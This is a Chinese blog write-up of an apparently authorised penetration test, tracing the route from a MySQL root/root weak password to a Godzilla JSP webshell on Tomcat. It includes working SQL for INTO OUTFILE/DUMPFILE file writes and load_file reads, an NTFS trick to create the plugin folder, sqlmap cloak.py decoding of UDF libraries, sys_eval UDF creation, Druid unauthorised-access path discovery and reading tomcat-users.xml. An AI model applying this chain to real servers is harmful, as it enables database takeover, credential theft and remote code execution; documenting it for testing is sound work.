从 MySQL 弱口令到哥斯拉上线

从 MySQL 弱口令到哥斯拉上线

给一个客户系统做渗透,记录下过程

信息收集

没有测试账号,本来没抱希望,打算找几个水洞,找不到洞,尝试扫个端口发现 3306 是开放的

image-20230412182240949

弱口令

习惯性尝试使用 root/root 连接数据库,连接成功

image-20230412182344175

数据泄露

数据库查询到用户信息,密码为md5存储

image-20230412182914040

查询得到账号信息:

image-20230412182837718

登陆成功,共两个管理员账号

image-20230412182938172

尝试写🐎

在web应用没有找到上传点,尝试数据库写🐎试试

写文件的前提:

  1. 知道网站物理路径
  2. 高权限数据库用户
  3. load_file() 开启 即 secure_file_priv 无限制
  4. 网站路径有写入权限

查看secure_file_priv 为空

image-20230412145715965

Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

1
select 'hello' into outfile 'xxxxx/123.txt';

文件可以写入,并且可以读出来

1
select load_file('xxxxxx/123.txt');

image-20230412183651820

但找遍了数据库也没找到有出现 web 应用路径的地方

尝试UDF提权

MUDT

我们是直接连的数据库,没有注入点,因此无法用sqlmap进行提权,先尝试一波 MDUT 工具,看看能不能提权

image-20230412182635522

但创建函数失败

WeChatWorkScreenshot_e83eb0cc-441d-4cd9-817f-9ec641eb6cb3

手动尝试一次

plugin 文件夹

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

1
show variables like '%plugin%';

已经存在 plugin 文件夹了

image-20230412183354599

如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹:

1
mysql > select 123 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

传入动态链接库文件

那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。

  • sqlmap 的 UDF 动态链接库文件位置
1
sqlmap根目录/data/udf/mysql

白嫖个图:

img

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:(白嫖个方法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 查看当前目录情况
pwd
/Users/guang/Documents/X1ct34m/sqlmap/1.4.6/extra/cloak

# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so

# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

# 查看当前目录下的情况
ls
README.txt cloak.py lib_mysqludf_sys_32.so lib_mysqludf_sys_64.so
__init__.py lib_mysqludf_sys_32.dll lib_mysqludf_sys_64.dll

这个博主打包了 sqlmap 解码后的动态链接库:蓝奏云 - sqlmap udf.zip 需要的朋友可以自提

  • Metasploit 的 UDF 动态链接库文件位置
1
MSF 根目录/embedded/framework/data/exploits/mysql

img

Metasploit 自带的动态链接库文件无需解码,开箱即可食用。

使用 010-Editor 对比了 metsaploit 自带的与 sqlmap 解码后的动态链接库文件,发现他们的内容一模一样。

下面来看下动态链接库里面有包含了哪些函数:

img

如果有注入点的话可以尝试用 SQLMAP,这里没有,接着手动

1
2
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE 'xxxxx/plugin/udf.dll';

这里有十六进制的语句,将路径改成实际路径即可 UDF十六进制

创建自定义函数并调用命令

1
mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

这里依旧报错

image-20230412184927566

1123 - Can’t initialize function ‘sys_eval’; UDFs are unavailable with the –skip-grant-tables option

需要将 my.ini 中的 skip-grant-tables 选项去掉

xxxxx/my.ini 也看到确实存在,但这里没法操作,只好作罢

image-20230412184947048

Druid 未授权

就当要放弃的时候,发现了一个 Druid 未授权,可谓是救命稻草,现在就缺一个路径,真是送到嘴边了

image-20230412185141640

默认页面未删除

同时 dirsearch 收集信息的时候,也发现了默认页面:

image-20230412185238598

真的是非常贴心了

image-20230412185327670

怕我看不懂,还给我解释了:

where “$CATALINA_HOME” is the root of the Tomcat installation directory.

继续写🐎

直接用路径拼接,传一个 hello 上去

image-20230412185733751

成功 hello

image-20230412185813134

上线

直接上马(这里一直在调试,从 1.jsp 迭代到 6.jsp 了)

image-20230412185858078

哥斯拉上线

image-20230412190111914

1
whoami

image-20230412190139502

/manager/html

另外也找到 xxxx:8080/manager/html 了,拿 msf 进行了一次常规默认密码爆破,并没有爆出

后来拿到物理路径也刚好读一下xxxxx/conf/tomcat-users.xml

image-20230412185534061

但密码还是不正确,这个点没法用

image-20230412190750048

因为本身就是测的内网系统,就不做内网渗透了(不是因为不会


从 MySQL 弱口令到哥斯拉上线
https://52hertz.tech/2023/04/12/mysql_weakpass_getshell/
作者
Ustin1an
发布于
2023年4月12日
许可协议